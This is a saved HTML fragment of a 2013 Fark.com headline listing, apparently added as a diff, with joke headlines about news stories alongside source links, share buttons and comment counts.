+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554349/Pot-doesnt-make-you-lazy-it-helped-these-industrious-mice-make-a-home-in-a-police-evidence-bag-of-marijuana-Unfortunately-police-evidence-bag-of-Doritos-is-nowhere-to-be-found" target="_top"> (35) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554209"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.c [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/scary" title="Scary"><span class="ttag topic19"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554209/http://www.ramblingbeachcat.com/2013/01/weird-crime-wednesday-kidnappings.html" target="_blank">Kidnappings, marriage proposals, and tips under 10% are not appreciated</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554209" target="_blank">ramblingbeachcat.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554209&t=Kidnappings%2C%20marriage%20proposals%2C%20and%20tips%20under%2010%25%20are%20not%20appreciated" onclick="trackSocial('facebook','share','http://fark.com/go/7554209')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Kidnappings%2C%20marriage%20proposals%2C%20and%20tips%20under%2010%25%20are%20not%20appreciated%20http%3A%2F%2Ffark.com%2Fgo%2F7554209&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgee [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554209/Kidnappings-marriage-proposals-tips-under-10-are-not-appreciated" target="_top"> (27) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554255"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554255/http://www.foxnews.com/us/2013/01/24/las-vegas-woman-reportedly-sues-matchcom-for-10m-claims-s [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/stupid" title="Stupid"><span class="ttag topic11"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554255/http://www.foxnews.com/us/2013/01/24/las-vegas-woman-reportedly-sues-matchcom-for-10m-claims-site-doesnt-properly/%3Ftest%3Dlatestnews" target="_blank">Woman
+ sues Match.com for $10 million on the grounds that they didn't
+accurately predict that he would try to kill her with a butcher knife
+when she dumped him after eight days</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554255" target="_blank">foxnews.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554255&t=Woman%20sues%20Match.com%20for%20%2410%20million%20on%20the%20grounds%20that%20they%20didn%27t%20accurately%20predict%20that%20he%20would%20try%20to%20kill%20her%20with%20a%20butcher%20knife%20when%20she%20dumped%20him%20aft [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Woman%20sues%20Match.com%20for%20%2410%20million%20on%20the%20grounds%20that%20they%20didn%27t%20accurately%20predict%20that%20he%20would%20try%20to%20k...%20http%3A%2F%2Ffark.com%2Fgo%2F7554255&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554255/Woman-sues-Matchcom-for-$10-million-on-grounds-that-they-didnt-accurately-predict-that-he-would-try-to-kill-her-with-a-butcher-knife-when-she-dumped-him-after-eight-days" target="_top"> (145) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553915"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/go [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/dumbass" title="Dumbass"><span class="ttag topic34"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553915/http://www.x103.com/pages/webmaster.html%3Farticle%3D10724493" target="_blank">"McDonald's customer says Spicy McChicken is too spicy, calls cops"</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553915" target="_blank">x103.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553915&t=%22McDonald%27s%20customer%20says%20Spicy%20McChicken%20is%20too%20spicy%2C%20calls%20cops%22" onclick="trackSocial('facebook','share','http://fark.com/go/7553915')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=%22McDonald%27s%20customer%20says%20Spicy%20McChicken%20is%20too%20spicy%2C%20calls%20cops%22%20http%3A%2F%2Ffark.com%2Fgo%2F7553915&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek% [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553915/McDonalds-customer-says-Spicy-McChicken-is-too-spicy-calls-cops" target="_top"> (106) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553927"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553927/http://sports.yahoo.com/blogs/ncaab-the-dagger/fairfield-half-court-shot-competitor-finally-ge [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/asinine" title="Asinine"><span class="ttag topic13"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553927/http://sports.yahoo.com/blogs/ncaab-the-dagger/fairfield-half-court-shot-competitor-finally-gets-free-212510921--ncaab.html%3Fnineyearoldsdude" target="_blank">OVER THE LINE. Mark it zero dude</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553927" target="_blank">sports.yahoo.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553927&t=OVER%20THE%20LINE.%20Mark%20it%20zero%20dude" onclick="trackSocial('facebook','share','http://fark.com/go/7553927')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=OVER%20THE%20LINE.%20Mark%20it%20zero%20dude%20http%3A%2F%2Ffark.com%2Fgo%2F7553927&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com%20Geek%20News%2Cfarksport%3AFark.com%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553927/OVER-THE-LINE-Mark-it-zero-dude" target="_top"> (78) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554032"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554032/http://www.reuters.com/article/2013/01/24/us-pope-twitter-idUSBRE90N0HR20130124" target="_blank"> <img alt="(Reuters)" title=" [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/unlikely" title="Unlikely"><span class="ttag topic33"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554032/http://www.reuters.com/article/2013/01/24/us-pope-twitter-idUSBRE90N0HR20130124" target="_blank">Pope sees social media networks as "portals of truth". Post this to five other Facebook walls or you will go to hell</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554032" target="_blank">reuters.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554032&t=Pope%20sees%20social%20media%20networks%20as%20%22portals%20of%20truth%22.%20Post%20this%20to%20five%20other%20Facebook%20walls%20or%20you%20will%20go%20to%20hell" onclick="trackSocial('facebook','share','http://fark.com/go/ [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Pope%20sees%20social%20media%20networks%20as%20%22portals%20of%20truth%22.%20Post%20this%20to%20five%20other%20Facebook%20walls%20or%20you%20will%20go%20t...%20http%3A%2F%2Ffark.com%2Fgo%2F7554032&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554032/Pope-sees-social-media-networks-as-portals-of-truth-Post-this-to-five-other-Facebook-walls-you-will-go-to-hell" target="_top"> (43) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554066"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554066/http://worldnews.nbcnews.com/_news/2013/01/24/16 [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/obvious" title="Obvious"><span class="ttag topic15"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554066/http://worldnews.nbcnews.com/_news/2013/01/24/16676455-north-koreas-poets-of-propaganda-stay-true-to-their-muse-despite-worlds-laughter%3Flite" target="_blank">How
+ do North Korea's propaganda poets react to the world's laughter? "The
+sun will always give off its light even though rats make nonsensical
+remarks moving around ditch, while finding it hard to raise their heads
+to the bright human world"</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554066" target="_blank">worldnews.nbcnews.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554066&t=How%20do%20North%20Korea%27s%20propaganda%20poets%20react%20to%20the%20world%27s%20laughter%3F%20%22The%20sun%20will%20always%20give%20off%20its%20light%20even%20though%20rats%20make%20nonsensical%20remarks%20movin [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=How%20do%20North%20Korea%27s%20propaganda%20poets%20react%20to%20the%20world%27s%20laughter%3F%20%22The%20sun%20will%20always%20give%20off%20its%20light%20e...%20http%3A%2F%2Ffark.com%2Fgo%2F7554066&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Pa [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554066/How-do-North-Koreas-propaganda-poets-react-to-worlds-laughter-The-sun-will-always-give-off-its-light-even-though-rats-make-nonsensical-remarks-moving-around-ditch-while-finding-it-hard-to-raise-their-heads-to-bright-human-world" target="_top"> (97) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7554017"> <td class="headlineSourceImage"> <a rel="nof [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/interesting" title="Interesting"><span class="ttag topic02"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554017/http://www.reuters.com/article/2013/01/24/us-mali-rebels-idUSBRE90M16T20130124" target="_blank">"Burkinabe
+ troops join French-led push against Mali rebels". Well I'm sure the
+Fench are relieved to have the backing of the mighty country
+of...Burkinab? Burk? You tell me then..,</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554017" target="_blank">reuters.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554017&t=%22Burkinabe%20troops%20join%20French-led%20push%20against%20Mali%20rebels%22.%20Well%20I%27m%20sure%20the%20Fench%20are%20relieved%20to%20have%20the%20backing%20of%20the%20mighty%20country%20of...Burkinab%3F%20Burk%3F%20You [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=%22Burkinabe%20troops%20join%20French-led%20push%20against%20Mali%20rebels%22.%20Well%20I%27m%20sure%20the%20Fench%20are%20relieved%20to%20have%20the%20...%20http%3A%2F%2Ffark.com%2Fgo%2F7554017&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554017/Burkinabe-troops-join-French-led-push-against-Mali-rebels-Well-Im-sure-Fench-are-relieved-to-have-backing-of-mighty-country-ofBurkinab-Burk-You-tell-me-then" target="_top"> (64) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553871"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553871/ht [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/spiffy" title="Spiffy"><span class="ttag topic16"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553871/http://www.dailymail.co.uk/news/article-2267497/Colorado-seeks-set-limit-driving-stoned-legalising-cannabis.html" target="_blank">New
+ cannabis legislation in Colorado aims to set a limit while driving
+and.. can't read the last bit the corner has been ripped off</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553871" target="_blank">dailymail.co.uk</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553871&t=New%20cannabis%20legislation%20in%20Colorado%20aims%20to%20set%20a%20limit%20while%20driving%20and..%20can%27t%20read%20the%20last%20bit%20the%20corner%20has%20been%20ripped%20off" onclick="trackSocial('facebook','share' [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=New%20cannabis%20legislation%20in%20Colorado%20aims%20to%20set%20a%20limit%20while%20driving%20and..%20can%27t%20read%20the%20last%20bit%20the%20corne...%20http%3A%2F%2Ffark.com%2Fgo%2F7553871&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20N [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553871/New-cannabis-legislation-in-Colorado-aims-to-set-a-limit-while-driving-cant-read-last-bit-corner-has-been-ripped-off" target="_top"> (176) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553828"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553828/http://www.usatoday.com/story/news/nation/ [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/scary" title="Scary"><span class="ttag topic19"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553828/http://www.usatoday.com/story/news/nation/2013/01/23/contraception-abuse-coercion-gynecologists/1856885/" target="_blank">"Abusive
+ partners can sabotage contraception." So what you're telling me is that
+ the gas station attendant *didn't* poke a hole in the condoms? I feel
+so bad for burning the place down now</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553828" target="_blank">usatoday.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553828&t=%22Abusive%20partners%20can%20sabotage%20contraception.%22%20So%20what%20you%27re%20telling%20me%20is%20that%20the%20gas%20station%20attendant%20*didn%27t*%20poke%20a%20hole%20in%20the%20condoms%3F%20I%20feel%20so%20bad%20f [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=%22Abusive%20partners%20can%20sabotage%20contraception.%22%20So%20what%20you%27re%20telling%20me%20is%20that%20the%20gas%20station%20attendant%20*di...%20http%3A%2F%2Ffark.com%2Fgo%2F7553828&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20New [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553828/Abusive-partners-can-sabotage-contraception-So-what-youre-telling-me-is-that-gas-station-attendant-didnt-poke-a-hole-in-condoms-I-feel-so-bad-for-burning-place-down-now" target="_top"> (173) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553710"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/go [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/scary" title="Scary"><span class="ttag topic19"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553710/http://www.livescience.com/26507-chicken-wing-fans-cry-fowl.html" target="_blank">The Super Bowl is coming up and there is a chicken wing shortage. EVERYBODY PANIC</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553710" target="_blank">livescience.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553710&t=The%20Super%20Bowl%20is%20coming%20up%20and%20there%20is%20a%20chicken%20wing%20shortage.%20EVERYBODY%20PANIC" onclick="trackSocial('facebook','share','http://fark.com/go/7553710')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=The%20Super%20Bowl%20is%20coming%20up%20and%20there%20is%20a%20chicken%20wing%20shortage.%20EVERYBODY%20PANIC%20http%3A%2F%2Ffark.com%2Fgo%2F7553710&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553710/The-Super-Bowl-is-coming-up-there-is-a-chicken-wing-shortage-EVERYBODY-PANIC" target="_top"> (136) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553874"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553874/http://todayhealth.today.com/_news/2013/01/24/16664866-fat-shaming-may-curb-obesit [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/unlikely" title="Unlikely"><span class="ttag topic33"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553874/http://todayhealth.today.com/_news/2013/01/24/16664866-fat-shaming-may-curb-obesity-bioethicist-says%3Flite" target="_blank">Bioethicist
+ claims obesity can be reduced by shaming fat people instead of
+embracing them, because your arms just aren't long enough</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553874" target="_blank">todayhealth.today.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553874&t=Bioethicist%20claims%20obesity%20can%20be%20reduced%20by%20shaming%20fat%20people%20instead%20of%20embracing%20them%2C%20because%20your%20arms%20just%20aren%27t%20long%20enough" onclick="trackSocial('facebook','sha [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Bioethicist%20claims%20obesity%20can%20be%20reduced%20by%20shaming%20fat%20people%20instead%20of%20embracing%20them%2C%20because%20your%20arms%20j...%20http%3A%2F%2Ffark.com%2Fgo%2F7553874&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News% [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553874/Bioethicist-claims-obesity-can-be-reduced-by-shaming-fat-people-instead-of-embracing-them-because-your-arms-just-arent-long-enough" target="_top"> (486) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553289"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553289/http://www.azfamily.com/new [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/dumbass" title="Dumbass"><span class="ttag topic34"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553289/http://www.azfamily.com/news/Tempted-to-vent-about-work-online-You-could-get-fired-188133881.html" target="_blank">Woman
+ who posted her wish on Facebook while at work gets to see it come true.
+ "I wish I could get fired some days, it would be easier to be at home
+than to have to go through this"</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553289" target="_blank">azfamily.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553289&t=Woman%20who%20posted%20her%20wish%20on%20Facebook%20while%20at%20work%20gets%20to%20see%20it%20come%20true.%20%22I%20wish%20I%20could%20get%20fired%20some%20days%2C%20it%20would%20be%20easier%20to%20be%20at%20home%20than%20 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Woman%20who%20posted%20her%20wish%20on%20Facebook%20while%20at%20work%20gets%20to%20see%20it%20come%20true.%20%22I%20wish%20I%20could%20get%20fired%20some%20d...%20http%3A%2F%2Ffark.com%2Fgo%2F7553289&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553289/Woman-who-posted-her-wish-on-Facebook-while-at-work-gets-to-see-it-come-true-I-wish-I-could-get-fired-some-days-it-would-be-easier-to-be-at-home-than-to-have-to-go-through-this" target="_top"> (168) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553273"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/sad" title="Sad"><span class="ttag topic05"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553273/http://www.dailymail.co.uk/news/article-2267223/Mali-Manila-Zoo-Campaigners-demand-worlds-loneliest-elephant-sent-Thailand-friends.html" target="_blank">A sure sign of the coming apocalypse, this Fark subby actually agrees with a PETA campaign</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553273" target="_blank">dailymail.co.uk</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553273&t=A%20sure%20sign%20of%20the%20coming%20apocalypse%2C%20this%20Fark%20subby%20actually%20agrees%20with%20a%20PETA%20campaign" onclick="trackSocial('facebook','share','http://fark.com/go/7553273')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=A%20sure%20sign%20of%20the%20coming%20apocalypse%2C%20this%20Fark%20subby%20actually%20agrees%20with%20a%20PETA%20campaign%20http%3A%2F%2Ffark.com%2Fgo%2F7553273&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Ent [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553273/A-sure-sign-of-coming-apocalypse-this-Fark-subby-actually-agrees-with-a-PETA-campaign" target="_top"> (54) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7553353"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553353/http://www.sun-sentinel.com/news/palm-beach/fl-boca-prostitutes-20130123, [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/florida" title="Florida"><span class="ttag topic35"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553353/http://www.sun-sentinel.com/news/palm-beach/fl-boca-prostitutes-20130123,0,3641381.story" target="_blank">If you're a cop, it's pretty embarrassing when your wife gets arrested. Especially if it's for prostitution</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553353" target="_blank">sun-sentinel.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7553353&t=If%20you%27re%20a%20cop%2C%20it%27s%20pretty%20embarrassing%20when%20your%20wife%20gets%20arrested.%20Especially%20if%20it%27s%20for%20prostitution" onclick="trackSocial('facebook','share','http://fark.com/go/7553353')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=If%20you%27re%20a%20cop%2C%20it%27s%20pretty%20embarrassing%20when%20your%20wife%20gets%20arrested.%20Especially%20if%20it%27s%20for%20prostitution%20http%3A%2F%2Ffark.com%2Fgo%2F7553353&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2C [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7553353/If-youre-a-cop-its-pretty-embarrassing-when-your-wife-gets-arrested-Especially-if-its-for-prostitution" target="_top"> (58) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7553684"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7553684/http://life.time.com/culture/war-on-drugs-1969-photos-fro [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/interesting" title="Interesting"><span class="ttag topic02"> </span></a> <div class="hlSpacer"> </div> </td>
+
